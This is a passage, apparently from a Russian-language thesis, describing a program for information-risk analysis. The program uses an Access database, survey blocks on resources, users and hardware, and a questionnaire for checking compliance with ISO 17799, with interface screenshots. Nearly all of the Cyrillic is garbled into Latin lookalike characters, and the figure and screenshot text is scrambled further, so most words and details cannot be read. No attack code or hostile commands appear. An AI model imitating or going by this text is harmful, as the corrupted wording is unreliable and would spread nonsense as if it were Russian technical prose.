2.4. MeToauKa NMPOBEPKH OPraHU3AIMOHHBLIX MEP HA COOTBETCTBHE IMOJIOKEHUSAM

Me:KIYHApOAHOro ctanaapra 6esonacuoctu 1SO 17799.

[TonmuTtka WHOPOPMAIMOHHON  OE30MAaCHOCTH KOMIAHWUW  SIBIIICTCS  BaKHEHIITUM
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HOPMATHBHBIM JIOKYMEHTOM, OIPEACISIONIMM KOMIUIEKC Mep H TpeOOBaHWMA 10
obecnieueHno nHGpopMaImoHHol 6e3onacHocTy 6usHeca. [lomuTrka 0€30MacHOCTH IO KHA
OTIMCHIBATh PEATHLHOE MOJOKECHHUE /e B MH(GOOPMAIIMOHHONW CUCTEME KOMITAHUH U SBJISATHCS
00s13aTeIPHBIM PYKOBOACTBOM K JIEHCTBHIO JUIA BCErO TiepcoHajia Kommanuu. Ha
CErOIHAIIHUHN JICHb OOIIENPU3HAHHBIM CTaHAAPTOM IIPU CO3JaHUN KOMIUIEKCHOMN MOJUTUKHU
0€30MacHOCTH  KOMIIAaHWUW  SIBIIIETCSI  MEXKIYHApOAHBIM  CTaHIApPT  YNPaBICHUS
uHpopMarmonHoit 6e3omacHocThio ISO 17799, co3pannsbiii B 2000 rony MexayHapoiHOM
OpraHM3alier Mo CTaHIaAPTU3AMU U MEeXTyHapOHOM AIEKTPOTEXHUYECKOM KOMUCCHUEH Ha

OCHOBE pa3pabOTOK bpUTaHCKOTrO MHCTUTYTa CTAaHJAAPTOB [7].
Hwuxe npuBeneHbl ocHOBHBIE pa3aensl cranaapra [ISO 17799:

Ionumuka 6e3onacnocmu

Opeanuzayuonnvie mepvl o obecneuenuro 6e30nacHocmu

VYupasnenue popymamu 1o MHPOPMAIIMOHHON 0€30MacCHOCTH
KoopauHanus BopocoB, CBSI3aHHBIX ¢ UHPOPMALMOHHOM 0€30MMacCHOCTHIO
Pacrnipenenenuie 0OTBETCTBEHHOCTH 3a o0ecrieueHne 0e€30MacHOCTH
Knaccugpuxayus u ynpasnenue pecypcamu

MHBeHTapu3anus pecypcon

Knaccuduxkanus pecypcon

bezonacnocms nepconana

be3zonacHocTh mpu BeIOOpE U paboTE C MePCOHATIOM

TpenuHru nepcoxaia rno BornpocaMm 0e30MacHOCTH

PearupoBaHue Ha CEKbIOPUTU UHUUIAEHTHI U HEUCIIPABHOCTH

Dusuueckasn 6e30nacHocmy

Ynpasnenue xommynuxayusmu u npoyeccamu

PaGouue npouenypbl 1 OTBETCTBEHHOCTb

CucTeMHOE TIJIaHUPOBAHUE

3amura OT 3JJ0HAMEPEHHOT'0 TPOrPAMMHOr0 o0ecreyeHus (BUPYCOB, TPOSHCKUX KOHEH)

YnpasineHne BHYyTPEHHUMU peCypcaMu
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YnpasneHue ceTamu

be3onacHOCTh HOCUTENEH TaHHBIX

[lepenada naopmaImu 1 IPOrpaMMHOTO OOECTICYCHUS
Konmponv oocmyna

busnec TpedoBaHus sl KOHTPOJIS TOCTYyNa

VYrpaBneHue 10CTyIOM MOJIb30BaTEIsS

OTBETCTBEHHOCTbD I0JIb30BATENCH

KoHTponb u ynpapieHue y1aieHHOro (CETeBOro) 10CTyma
KoHTposs focTyna B ONIEpaiMOHHYIO CUCTEMY

KoHTpoib 1 ynpaBlieHHEe JOCTYIIOM K MPUIOKEHUSIM
MOHUTOPHUHT TOCTYIIa U UCITOIH30BAHUS CHCTEM
Paszpabomka u mexnuueckas noooeporcka 8b14UCTUMENbHBIX CUCTEM
TpeboBanus 1Mo 6E€30MACHOCTH CUCTEM

be3onacHOCTh NMPUIIOKEHUT

Kpunrorpadus

be3onacHOCTh CUCTEMHBIX (paiiioB

be3onacHOCTh MpoIeccoB pa3pabOTKU U MOAIEPIKKU
VYnpaenenue nenpepvisnocmoio busneca

[Ipomecc ynpasieHUs HEMPEPHIBHOTO BEACHUS OM3HEeca
HenpepbiBHOCTH OM3HECa U aHAIM3 BO3ICHCTBUI

C03I[aHHe N BHCAPCHUC IIJIaHa HCIIPCPBIBHOI'O BCACHUA Ou3Heca

T€CTI/IpOBaHI/IC, obecrieueHue 1 MNEPCONCHKA IJIaHa HEIIPCPBIBHOI'O BECACHHA Ous3Heca

Coomeemcmesue cucmemvl OCHOBHbIM mp€608(1Hl/tﬂM
CooTtBeTcTBHE Tpe6OBaHI/IHM 3aKOHOAATCJIbCTBA
AHanu3 COOTBETCTBHS NOJIUTHKN 0€30IT1aCHOCTH
AHanu3 COOTBETCTBHS TEXHUYSCKUM Tpe6OBaHI/I$IM

AHann3 COOTBETCTBUS Tpe6OBaHI/I$IM CUCTCMHOI'O ayauTa

[Tocne u3yuenust pycckoii pegakiuuu SO 17799 Obun pazpaboTaH BOMPOCHUK, OTBETHB Ha

BOIIPOCHI KOTOPOTO TMOJydaeM MOAPOOHBIA OTYET O COCTOSIHMHM e B CYIIECTBYIOIIEH
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MOJIUTUKU 0€30MaCHOCTH OpraHU3aIIH.

Anroput™ paboThI JaHHOTO pa3jiena MOSICHUM Ha CJIEIyIOIIEM IIPUMEpE.

[Ipu BbIOOpe pasmena crapmapta “Ilomutuka OGezomacHocTH. OpraHu3alMOHHBIC
Mepbl” TMOJB30BATENI0 MPEIaraercs OTBETHTh Ha CJEAYIOIIMKA BOMPOC C BapUaHTaMU
OTBETOB:

CymiecTByeT Ju B KOMIIAHWU pa3paboTaHHAs MOJIUTHKA WH(DOPMAIMOHHOW OE30MacHOCTH,
BCE IOJIO’KEHUSI KOTOPOW Ha MPAKTUKE BHEAPEHBI B MH(POPMALIMOHHYIO CUCTEMY ?

a) Jla

0) Her

B) IT0J10KEHUS IOJIMTUKY BHEAPEHBI YaCTUYHO.

[Tocne oOpaboTku oTBETA B TAOIMITy 0a3bl IAHHBIX 3AMUCHIBACTCS CIIEIYIOIIEE:

IIpu otBete “Her” - “Heob0xonumMo pa3zpaboTaTh U BHEAPUTH KOMIUIEKCHYIO TOJIUTHKY
uH(OPMAITMOHHON O€30MaCHOCTH .

IIpu otBete “ [lonoxeHus: MOAUTUKKA BHEAPEHbI 4YacTHUHO - Heobxoaumo 1oOUThCs
IIOJIHOTO BHEJPEHUSI BCEX MOJOXKEHUM MOJUTUKA O€30MacCHOCTH B HH(OPMALUOHHYIO
CHUCTEMY KOMIIaHUHU.

[Ipu oTBeTE Ha OCTANIBHBIE BOIIPOCHI POUCXOMASAT TE )KE NEUCTBHUS.

2.5. Pa3paboTka (YHKIHMOHAJBHBIX CXeM 3JIEMEHTOB ABTOMATH3UPOBAHHOM
CHCTEMBI.

C mnosumuu  oOecrieuenusi Oe3omacHoctu  uHpopmamuu B KC Takume cucreMbl
1eJIecoo0pa3Ho paccMaTpuBaTh B BHUJAE E€IUHCTBA TPEX KOMIIOHEHT, OKAa3bIBAIOLIUX
B3aMMHOE€ BIIMSIHUE JPYT Ha JApyra:
uHpopmanus;

TEXHUUYECKHE U TPOTPaMMHBIEC CPEJICTBA;
00CITy>)KUBAIONTUH TIEPCOHAT U TTOJIH30BATEIH.

lloomomy Ha nepsom smane uodem ONpENEIEHUS BUAA PECYpPCOB, MPEICTABISIOIINX
LUEHHOCTD I KOMIIaHUU

OCYH_ICCTBJ'IHGM BBIIIOJIHCHHUC CIICAYIOIICTO aJITOPUTMA.
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BBoaum 6ok ompoca, TpeaHa3HAYEHHBIA JJIs TIOJYYCHHS HAIIe CHUCTEMOW JIaHHBIX,
KOTOpbIE B IOCJIEACTBUM NOHAAoOATCA Il OLIEHKM pHUCKOB. biok ompoca npu
B3aMMOJICHCTBUM C TIOJIb30BAaTENIEM OMpeenseT HHPopMaluio, (QyHKIMOHUPYIOUIYIO B
JaHHOW MH(OPMAIMOHHOW cHUCTEeMe, MOJB30BaTeNe CHCTEMbl U amnmapaTHble CpPECTBa,
npeJHa3HaYeHHbIE JUIsl 00paObOTKU M XpaHeHus: uHpopmanuu. Jlamee Bce 3TO 3aHOCUTHCS B
¢aitn 6a3p1 JaHHBIX ACCESS. DTO camblii MEPBbIil, U HABEPHO AaKe KIIOUYEBOU 3Tarl paboThI,
1ocJie MPOBEACHNS KOTOPOTO Mbl UMEEM B 0a3e JaHHBIX OIPEIEICHHOE KOJINYECTBO TAOIUIL ,

KaXJ1as1 U3 KOTOPBIX COOTBETCTBYET TOMY MJIM HHOMY PECypCy.

ITons30Barens > brnox onpoca

A

A 4

BBoa nH(pOpMAIIMOHHBIX PeCypcOB KOMIAaHUU

A 4 A 4 A 4

Nudopmanus [Tonp3oBarenu AnmnapatHble
cpeacTBa
I

A 4

Tabnuiel 0a36l JAHHBIX

Puc. 11. Cxema pyHKIImOHHpOBaHUs 0JI0Ka OMPOCA MO BISBICHUIO
pPECYpPCOB KOMITaHUH.

Cnenyromumii 3Tanm pabOThl TO3BOJISIET ONPENETUTh MeCTa XpaHeHUs HHGOpMAINH
(OcymiecTBUTh MPUBSI3KY JTAaHHBIX) M OLCHHUTH YIIepO, KOTOPHIA IMOHECET KOMITAaHUS B
ClIy4ae peaau3aiy OJHOW M3 TPEX KJIACCHUUYECKHX yrpo3, HAMpaBICHHBIX HAa WH(OPMAIHIO.
Peub uner 00 yrpozax: kKoH(MUIEHIIMATFHOCTH (MPABO HA YTEHHE), 1IETTOCTHOCTH (TIPaBO Ha
3alMCh) U OTKa3a B OOCTY>KMBaHUM (HapylIeHHEe paboTOCIOCOOHOCTH pecypca, Ha KOTOPOM

XpaHUTCS IICHHAs] HHPOPMAIIHS).
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[Tonw3oBaTens — biiok onpoca

A
A

\ 4
Onpenenenue mecta Buns! nennon ArnmnaparHble
XpaHEeHMs U OLIeHKa yIiepoa uHpopMaun cpencraa

A A

baza ganHeIx

Puc. 12. Cxema ¢hyHKITMOHUPOBaHHS 0JI0Ka OTpOCca 10 TPUBS3KE JaHHBIX
Y OLICHKH yIiepoa.
N3 chopmupoBaHHbIX TaOIuI] 6a3bl TAHHBIX BHIBOJUTHCS HH(DOpMAIUs, IUPKYIUPYIOIIAs
B JIAHHOW CHCTEME W amlmapaTHbIe CPEJCTBA, MpETHA3HAUYCHHBIC IS €€ XpaHeHus. biok
OTpoca OMpeAeNsieT MECTO XpaHEHHS W OJHOBpEMEHHO oleHuBaeT ymiepO. Ilomyuennsie
JaHHBIE POPMUPYIOT OUEPEIHYIO TAOIHILY.

Ha cnenyromem stane paOOThl MPOUCXOOUT ONPENEICHUE YPOBHSA YIrpo3 U YPOBHS

YA3BUMOCTH.
[Mons3oBatens [ > Biok ompoca [ ISO 17799
OneHka COOTBETCTBHS
»| OpraHU3aIMOHHBIX MEP
ITOJIOKCHUSIM
v v MEX1YHapOJIHOT O
OneHka ypoBHs OrneHka ypoBHs cranmapra 1SO 17799
yrpo3 YA3BUMOCTH

baza nanHBIX

Puc. 13. Cxema pyHKIMOHUpOBaHUS 0JIOKA OIIPOCa MO OLIEHKaM YPOBHS YSI3BUMOCTH,

yIpO3 U CYIIECTBYOIEH MOIUTUKN O€30I1aCHOCTH.

brok ompoca, yuduTheIBasi OTBETHI Ha BOMPOCHI, OIICHUBACT YPOBHH YSI3BUMOCTH M YTPO3BI.
Kpome »storo mpomcxomutr  (opmupoBaHue B 0a3e JaHHBIX OYEPEIHOM TaOIUIIBI C

KOMMCHTApHUAMUA O HC BBIIIOJIHCHHBIX ITOJIOKCHUAX CTaHdapTa.
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Tenepp ocTanoch 3amOJHUTH TAONUIBI JTOCTYNIOM CYOBEKTOB CHUCTEMBI K OOBEKTaM
CUCTEMBI. ITO HEOOXOAUMO AJI TOTO - YTOOBI Mporpamma, Ipu pacyeTe pUCKOB 3HaJIA KaKasl
KaTeropus InoJib3oBaTesneil (MM KTo U3 MOJb30BaTese) K KaKOMy pecypcy UMeEeT OCTYII, a
K Kakomy — HeT. Kpome camoro nocrtyma, OJ0K ompoca OmpenenseT M npasa (YTEHHE,
3amuch, ynajeHue). biok ompoca mpu B3aUMOJCHCTBUU C MOJB30BATEIEM OIpeaessieT
JIOCTYIl K pecypcaMm. JlaHHble O pecypcax M TIOJb30BaTeNAX BBIBOJAATCS Ha CYJ
MOJIB30BATENI0 U3 YK€ CHOpPMUPOBAHHBIX TaOuul 0a3bl JaHHBIX. [lomydyeHHbIE NaHHBIE

MO3BOJISIIOT MIEPECMOTPETH OIIEHKY YPOBHS YTPO3bI.

[Mons3oBarens [ > Biiok ompoca <
v
Hocryn
Y V}
Ja Her
\ 4 \ 4

OrueHka ypoBHS yIpO3bl

basza nanHbBIX

Puc. 14. Cxema (pyHKIIMOHHPOBaHUs OJIOKA OMPOCA MO BBISIBJIECHUIO JOCTYIA CYyOBEKTOB

CUCTEMBI K 00BbEKTAM

Hanee c¢ uenvto  ompeneneHue 3(PGEKTUBHOCTH CHUCTEMBI 3alllUThl MH(OpMaIU
TpeOyeTcsi OMpeIeTuTh U BHECTH B CHUCTEMY IMOJHYIO CTOMMOCTH 3aTpaT Ha OoOecredyeHHe
uH(OPMAITMOHHOW O€30MaCHOCTH B TOJ.

brox ompoca mpu B3aMMOJICHCTBHH C TOJIB30BATEIEM OIPEACISICT MOJHYI0 CTOMMOCTD
3aTparT Ha oOecrniedeHne HWHPOPMAIMOHHON Oe3omacHocTH. [lomydeHHbIE JaHHBIC

COXPaHAIOTCA B IaMATh.
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[Mons3oBarens [ > biiok onpoca

v
CroumocTts 3atpar

4

Puc. 15. CxeMa pyHKIIMOHUPOBaHUS OJIOKA OMPOCa MO BISBICHUIO Y(PPEKTUBHOCTU

CHUCTCMBI 3allINThI I/IH(i)OpMaIII/II/I.

Craenyromiuii sTan padoThl CUCTEMBI IPOUCXOUT aHAJIHN3 PUCKOB.

OueHka ypoBHS

Orenka < biox ananusa YS3BUMOCTH
3¢ (HEeKTHBHOCTH JIAHHBIX —
[
OneHka ypoBHsI
v \ YIpO3bI
KonnuectBenna KauecTBennas
OIICHKA PUCKA OIICHKA PUCKA CTOMMOCTD 3aTpaT
I [

Orenka ymiep0a

A

baza manHBIX

Puc. 16. Cxema pyHKIIMOHUpPOBaHUs OJI0Ka aHAIM3a PUCKOB
B Onok aHanu3a JaHHBIX MOCTyNMaeT MHPOpMalus 00 OLIEHKaX YPOBHHU YSI3BHUMOCTU U
yrpo3 ¥ MHQOpMAIMKU O 3aTpaTax Ha MOJAEpXKaHUM CUCTeMbl Oe3omacHocTd. B HeM 1o
BBIODAaHHOM METOJMKHA MPOUCXOJUT aHajJu3 PUCKOB , U BBIJAIOTCS KAuE€CTBEHHAs U

KOJIMYCCTBCHHAA OLICHKHU PHUCKOB. HOHy‘I@HHBIe JaHHBIC OTO6pa)KaIOTC5{ B OTYCTC.

2.5. PazpaGorka ajropurMa ®W  uHTepdeiica  NPOrpaMMbl  aHAJIM3A
UH(POPMALMOHHBIX PUCKOB.

N3 cymectBytomux (hyHKIIMOHATBHBIX CXE€M aHalIn3a U KOHTPOJS PUCKOB M MPOBEPKHU
MOJMTUKA WHGOPMAIMOHHONM 0E€30MacHOCTH KOMIAHUW MOXHO TITOCTPOUTH aJITrOPUTM
paboThI BCEl CUCTEMBI aHATN3A.

Ha »sTtom srtamne HCO6XO)II/IMO ONpCACINTL B3aUMOCBA3b OTACIIbHBIX Q)YHKHHOHaHBHBIX CXEM
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B caMoi cucteMe aHanu3a. HeoGXoaumo co3maTh Takoi alropuT™M KOTOPBIA MO3BOJUT C
MUHUMAJIBHBIMU BJIOKEHUEM CHJI PEajM30BaTh HaIly CUCTEMY B IIPOTPAMMHOM KoJe. OTO
MO3BOJIUTh TPOBEPUTH MPABUIBHOCTh IOCTPOCHHS, BEPHOCTh (DYHKIMOHUPOBAHUS U
onpeaenuTs 3PPEKTUBHOCTH MPOBEIECHHON PaOOTHI.

Ha ananuze Bbille cTaromMX (PYHKIIMOHAIBHBIX CXEM M CTPYKTYpPHOH CXEeMbl ObLI

MTOCTPOEH CIICAYIOUIUNA AIITOPUTM.

/ a0y ORI CHICTEIMED / TIpEERS IREHEDT // O aHEC AT FIOHEET: // Moo / CTORMOCTE ZATp AT
H OLISERRL YLD ER TMEpET TIOTE I0EYTE TG

CIEDA6 TR, FREHEDT OGpaE OIn THEHEETL OGpaG TR TAEEET

FPOEEHE YT IR

CILEERR DEOOE

Ea & CTE SREETE i B & CTE EEEHED:
TIOEASATE TH TIOFAIATETED

Faza mRHEET | |
Ayccess

-~

Puc. 17. Anroputm uHTepdeiica mporpaMMbl aHAIH3a

UH(OPMAIMOHHBIX PUCKOB.

JTanbl PYHKIHOHUPOBAHUS

[TepBeIM 3TarmoM paboOTBl BCEH CHCTEMBI — SBISACTCS TIOJNYYCHHE HEOOXOIMMON
nHpopmaruu 111 aHanm3a. C moMomiplo OJIOKa ompoca W JallbHEHINeH o0paboTKu |
uHpopmalusi 3aHOCUThCS B 0a3y JaHHBIX. B pe3ynbrare — Ha HayajgbHOM JTarle
3aIOJIHSIOTCS TAHHBIMH TPH TAOIUIBL. B 3THX TabnuIiax XpaHUThC:

Tabmuna”Inform”. Uudopmarus 06 OCHOBHBIX KaTEropusx HH(POPMAIMOHHBIX PECYPCOB
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OpraHH3aIIH.
Ta6muna”Polzovateli”. Madopmarius o mojas30BaTesgX.
Tabmuma”Server”. Madopmanms o cepBepax.
Tabnuma”Stanzii”. Uadopmarus o pabo4yrnx CTaHIUIX.
Ha BTOpOoM »3Tame naHHBIC, MMOCJIE TPUBS3KE W OICHKH yIIepda 3aHOCATCS B TaOIUILy
”Stoimost”.
Ha Tperbem »5Tame MNPOUCXOTUT TPOBEpPKa OpPTraHU3AIMOHHBIX MEp Ha COOTBETCTBHE
TIOJIO’KEHUSIM MEXKIyHapoHoro ctanaapra 6esonacHocty 1SO 17799. [lonydeHHbIE TaHHBIE
3amuchIBarOTCs B Tadmmiy “1SO17799”.

Ha tpetrbem u deTBepTOM 3Tanax GOpMHUPYIOTCS JaHHBIC O JOCTYIIE, MPaBax JIOCTyMa
U OLECHKH €XEerofHble 3aTpaTbl Ha obecrneueHuss WHGOPMAIMOHHON 0€30MacHOCTH
OpraHM3alyH, KOTOpbIE NOCTYyHaroT B “bIOK aHanu3a JaHHBIX TAE€ IOCIEe 3arpoca
HeoOxomuMmon uH(opManuu U3 0a3bl JaHHBIX ACCESS MPOUCXOIUT MPOLECC aHaau3a
UH()OPMAITMOHHBIX PUCKOB.
[IaThIi 3aKJIIOUUTENBHBIN 3Tan pabOThl MPOTPAMMBI, MOTYYEHHBIC aHHBIE HCIOJb3YIOTCS

JUTsl (POPMUPOBAHUS OTUETA.

3. Uurepdeiic cucreMbl.
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]

Puc.18. 'maBHOE OKHO IIpOrpamMMmBel

IepBbiM dTan. OmnpeneneHus TMOJHOTO COHCKa HWH(QOPMAIMOHHBIX PECypCOB,

MPEJCTABIISIIONINX IIEHHOCTD 71 KOMIIaHUH.
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dafin  Crpaeka

] Momeosarenacucremss | Annapammse cpencrea

BifepuTe MHPOpMaLMn

Bysranmepcksn uHpopauda [~ MH@OPMAWWA 0 KAWEHTSR B 5 NEKTHOHHOM BHLE
Whedopraumra o sapnnarax [ HHopmauia o NapTHEpax B 31EKTPOHHOM
Ofoetsl Npoak I~ HHPOPMAUMA O COTPYAHMKEX B 3 NEKTPOHHOM EHAE
CefiecronnocTe MpOAYkUA [~ TexHUSSCKaA MHOpMBLMA O NPOaYKTSS
McxonHele TekCTel NporpamHil: NPOLYKTOE
LIMCTPMEYTUER! NPOTPEMHEL NPOAYKTOE

MpogomkuTs patory © nporparmoi

o e

C N0sHuAmM 0fecrieeHitA S230NacHOCT WHPOpMauid & KT Takue cucTemel
Leneco0GpasHD PACCMATPMEATE B BHAE BOMHCTES TPEX KOMNOHEHT, OKaSIBaI0WMK
E33HMHOE BAAHHE APYT Ha APYra:

HHPOPMELHA;

TEXHUMECKME W NPOMPaMMHGIE CRENCTEa

OOCAYHHBAIULMIA NEDCOHAN 1 NONLSOBATENA
M oaTory Ha NEPBOM 3TanNE ONPENENATCA
1] M HEOPMAUHOHHBIE PECYDCH, NDEACTIENANWMWE UEHHOCTE AR KOMMaHA
2). COTpunHUKM OPraHW3alMI DABOTAI0WMWE G UHPODMAUHOHHON CHCTEMON
3lANNapaTHEIR CPEACTEA, NPEAHAZHANEHHBIE 119 ¥PAHEHHA W OEDAGOTK M UHRODMALL WA

omm

. m—

oo [5e 4| g

Puc. 19. UnTepdeiic mporpammbl. Bknanka « MHpopMalinoHHBIE pecypeh».

JlanHasi BKJIaJIKa MO3BOJIIET OTMETUTH BUIbI HHPOPMALIUHU, ITUPKYJIUPYIOIIIE B CUCTEME:
DTO MOXET OBITh:
- duHaHcoBast HHPOPMALIUS
- byxranrepckas uapopmaims
- Undopmanust o 3apriarax
- O0BeMBI IpoJaXK
- CebecTOUMMOCTh TTPOTYKIIUU
- Llennas nundopmarms
- Uudopmaniust 0 KITueHTax B JIEKTPOHHOM BHJIC
- Undopmarnmst o mapTHepax B 2IEKTPOHHOM BHJIC
- Undopmanus o coTpyaHHKaX B SJIEKTPOHHOM BHUJIE
- Texuudeckas napopmaIys o IpoayKTax
- McxoaHbie TEKCTHI MPOTPAaMMHBIX MTPOIYKTOB

JuctpuOyTHUBBI MPOTPAMMHBIX MPOAYKTOB ( B TOM YHCIIE U COOCTBEHHBIC)
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CrpaTernyeckue miaHbl pa3BUTUS KOMIIAHUH B 3JIEKTPOHHOM BHJIE:
Bxnaaka «Ilonb3oBaTen CUCTEMBD» JaeT BO3MOXHOCTh BBIOpATh U3 NPUBEACHHOIO
CIHCKa TEX IOJIb30BaTeNIeil, KOTOpPbhle MMEIOT OTHOIICHHWE K JaHHOW HH(OPMAIMOHHOM
CUCTEME.
3TO MOTYT OBITh:
CucreMHbIE aIMUHUCTPATOPBI
Oduuiepsl Oe30MacHOCTH
Menemxepbl

OmnepaTopsbl UM OOBIYHBIE TTOJI30BATEIIN

MH$OpralUHOHHRIE pECYpCE T MNonbsoBareny cHCTEMB T ANNapaTHeIE CPEACTES

— BrIGEpUTE NONBS0BATHENEH

CHETEmMHEIA 3AMHHKETRETOR [
Oepuuep fezonachoctd - [
Merenitep I
Monezoearents N

[poao#uTE pABATY C NPOrpatdtok

Puc. 20. UnTepdeiic mporpammbl. Bknanka «I[loiap30BaTenu CUCTEMBD)
Bxnagka «AmnmapaTHble CpEICTBa» IMO3BOJIAET ONPEAEIUTb, MECTO XpaHEHHE U
00paboTku UHGOPMAIIUH.
3TO MOTYT OBITh:
Cepgepa
Pabouue cranuuu

TBepapie Koruu
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M HPOprEUHOHHEIE PECYPCE) T

BB&IMTE KOAWYECTED CEpPEEROE

a 2 3 a

2

e C7

Monb30BETENM CHETEMEI T ‘AnnapaTHuie cPeacTBa

~ BEEAMTE KONMYECTED PAR0YME CTaHUM

3 4

8 9

5

10

M pOgoT#MTE pa00TY C MpOrpardo

Puc. 21. UnTepdeiic nporpammbl. Bkinanka «AnmapaTHbele CpeICTBay.

Ha Bximanke

HpI/IBCI[GHHOﬁ HMIKC IMPOUCXOJUT IIPHUBA3KA JAHHBIX.

Tpebyercs

PaCIIOJIOKUTL HA KaXXKAOM H3 PAHCC BBCIACHHBIX PCCYPCOB BCC YKA3dHHBIC PAHCC BHUILI

LHEHHON MH(POPMALIUH.

. CucTema aHan3a puckon

mafin  Cnpaska

_1=x]

Bua WH®OpPMaLUK

[Eysranrepcran uneoprauma

OueHKa CTOWMOCTH

[0 Uenocthoeme
[a] K.oHPHaeHUNWEAEHOCTE:
1] LocTynHocTe.

Me=cTo xpaHeHrA

HazgaHe pecupca

[Cepeep_1

" Na

= Her

Danee |
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Ha 370M 3Tans padoTk NROrpErEl NPOMCROAHT CASAUKLLEE:

1), OCyWECTENASTECA NPHEASKS AaHHER. T. &, ONPEAENASTCA MECTO XDSHEHHA HHEPOPMAUMK

2] DUEHKS 62 CTOMMBETH B CAYUSE MPEHEHIA HA 3TOM PECUPCE. T 0 SCTh HEOBROLMMG BUIET GLEHUTE YLLEpS,
[OTOPI NOHECET KOMNAHUA B CAY43E PEANHSALMA OAHON LS TPEX KNACCHUECKIY YrPOS, HANPABREHHEI Ha
HHPOPMALMo, Pedb HLET 08 Yrposas: KoHPMAEHLHANEHOCTH [NDAB0 HA YTEHHE], LEN0CTHOCTH [MPaBD Ha Sanuce)
W OTkAaGa B OBCAYHMEAHMH [HADYLISHUE PABOTOGNOCOGHAGTH PECYRCA, HA KOTOPOM XNAHHTCA LEHHARA
HHPOpMAUIA]. 10 LEHHOM WHBORMEUMH, DAGNONCHEHHON Ha KaXKI10M DECYDOE. HEOBXKOMHMO YK S3aT KK

LIERG KEMMAMMA NOHECET & Cnyuas, Boa.

LEHHEA HHPORMEUHA SU1ST YKPAOEHE [Yrpo3a KOHPHLEHUHANEHOCTH]
LEHHSA HHPOPMSUMA SUAST YHMNTOHEHS MAK MSHEHEHS (UrpOSa WEA0CTHOCTH]
ABETYR K LEHHOE MHBOPMEUMK SYLET S5EA0KHBOEEH Ha OAMH 4ac

K1
@] [Se 2]

.
[ zo0

Puc. 22. UnTepdeiic nporpammsl. Bknanka «[IpuBsizka JaHHBIX».

Kpome storo Ha sTtom srtame pabOThl HEOOXOAUMO €Il

onpcaACInTb CTOUMOCTD
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uHpopMmaruu. To ecTb HEOOXOIMMO OIIEHUTH YIIEPO, KOTOPHI MOHECET KOMITAHUS B CIIydae
peanu3aluuyd OJHOW U3 TPEX KIACCHMUYECKHX yrpo3, HampaBiICHHBIX Ha HMHpopManuioo. Pedb
uaer o0 yrposax: KOH(PHUACHIUAIHHOCTH (IIPaBO HA YTEHHUE), IEJIOCTHOCTU (MpaBO Ha
3aMKCh) U OTKa3a B OOCTY)KMBaHUM (HapyIIeHne paboTOCIIOCOOHOCTH pecypca, Ha KOTOPOM
XxpaHutcs 1ieHHass uH@opMmanus). [lo neHHol uHpOpMalUU, PACIONOKEHHON Ha KaXIOM
pecypce, HeoOX0IUMO yKa3aTh KaKoi ymepd KOMIIaHusI IOHECET B cllydae, ecliu:

1ieHHas nHdopManus OyaeT ykpajaeHa (yrpo3a KoH(OUICHIIMAIbHOCTH )

1eHHas nHdopmaius OyJeT yHUUTOXeHa WM U3MEeHeHa (yrpo3a 1eJI0CTHOCTH)

JOCTYM K IIEHHOW uH(popmaiuu OyaeT 3a0J0KUPOBaH HA OJIUH Yac

OnenuBas yuiep0 OT peaan3anuy yrpo3, HEOOX0AUMO YUUTHIBATS:

[IEHY pecypca - 3aTpaThl Ha MPOU3BOICTBO;

CTOMMOCTb BOCCTAHOBJIEHUS WJIM CO3/1aHUs (ITIOKYIIKY) HOBOT'O pecypca;

CTOUMOCTb BOCCTAHOBJIEHHS pabOTOCIIOCOOHOCTH OpraHu3auuu (pu padoTe ¢ UCKa)KEHHBIM
pecypcom, 6e3 Hero, pu Je3uH(OPMaLINHN);

CTOUMOCTb BBIHYKJIEHHOTO ITPOCTOS;

CTOUMOCTbH YIYIIIEHHOU BBITOABI (TIOTEPSHHBIN KOHTPAKT);

CTOMMOCTD BBITIJIAThI HEYCTOECK, IITPa(OB (32 HEBBINIOJIHEHUE 00513aTEIBCTB KOHTPAKTA);
CTOMMOCTb 3aTpaT Ha peabUIUTALMIO TIOAMOYEHHON peryTaliu, MpecTux a, UMEHU (PUPMBL;
CTOMMOCTH 3aTpaT Ha MOMCK HOBBIX KIIMEHTOB, B3aMEH 0o0Jiee HE TOBEPSIIOMINX (PUPME;
CTOMMOCTb 3aTpaT Ha TMOUCK (WJIM BOCCTAaHOBJIEHHE) HOBBIX KaHaJIOB  CBS3H,
UH(GOPMALMOHHBIX HCTOUYHUKOB.

Yacto moau peasibHO Jake He MPEACTaBISAIOT , 4yeM BiaferoT. OJHAKO 3a BIAJCTBICB
OLICHUTh MH(OPMALIMIO HE BO3MOXKHO. [IpeanonaraeMplil 3710yMbIIIIEHHUK MOXKET, KOHEUHO,
OIICHUTh TyXke€ HH(pOpMamMio WHade. 3HAYUTh KTO-TO TYT OIIMOAeTCs: BIAIENel] WM
3MIOYMBINIJICHHUK. 37€Ch peub HAET O TMNPUOIUZUTEIBHOW OICHKH. TOYHO OIEHUTH
UH(OPMAITUIO OYECHD CII0KHO.

[Tocne mpoaenanHoil pabOTHI MBI TIEPEXOUM K ClieAyrolemMy drtamy, stany «IIpoBepku
OpraHU3AIMOHHBIX Mep olecreueHus WHOOPMAIMOHHOW O€30MacHOCTH HAa COOTBETCTBHUE

nostoxxerrneM MCB 1SO 17799y.
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dafin - Crpaska

—11 N
15017733 CYulECTBYET MM & KOMNAHKK PaSPAROTAHHAR NOAKTMES HHPOPMALWOHHON BES0MNACHOCTH, BCE NONDKEHWA KOTOROM HA NPAKTHKE BHEAPEHE B HHPODMALHOHHYD

« Moamrueka GezonacHocty. Opre  Ma
NACCHPHKALHA H KOHTPOME B | ¢~ [ar

~ BEonacHacTs nepcoHana 1% MMoA0HKEHHA NOAHTHKM BHEAPEHEI YACTHIHD
- PuzmyEchan fesonacHocTE H - 3

~ UNpaBABHHA KOMMUHHKSUHAM BRAOYEHS MM B ADTAHOCTHEIE 08A38HHOCTH PYKOBOAMTENER OTEETCTEEHHOCTE 34 OGECNEYEHME MHPOPMALMOHHDN BE30NACHOCTH?
KoHTpob aocTyna © Ia
PaspatioTka v conpoBo#aEHIs & Her
YnpaBseHie HEMPEPLIBHOCTE 5
CodnneHue TpetosaHui sar:

Boe nm COTPYOHHEW O3HAKOMNBHEI G HDHHWU“ NOAHTHEDH GE30NACHOCTH B KOMMNaHHHT
C la
* Her
-14
TepECMATPHEETCA A PErYAADHO NOAHTHKE SE30NACHOCTH KOMNEHWH & COOTEETCTEHH © BHOCHMENMH B GHETEMY HEMEHEHHAMNT
La
' Her
15
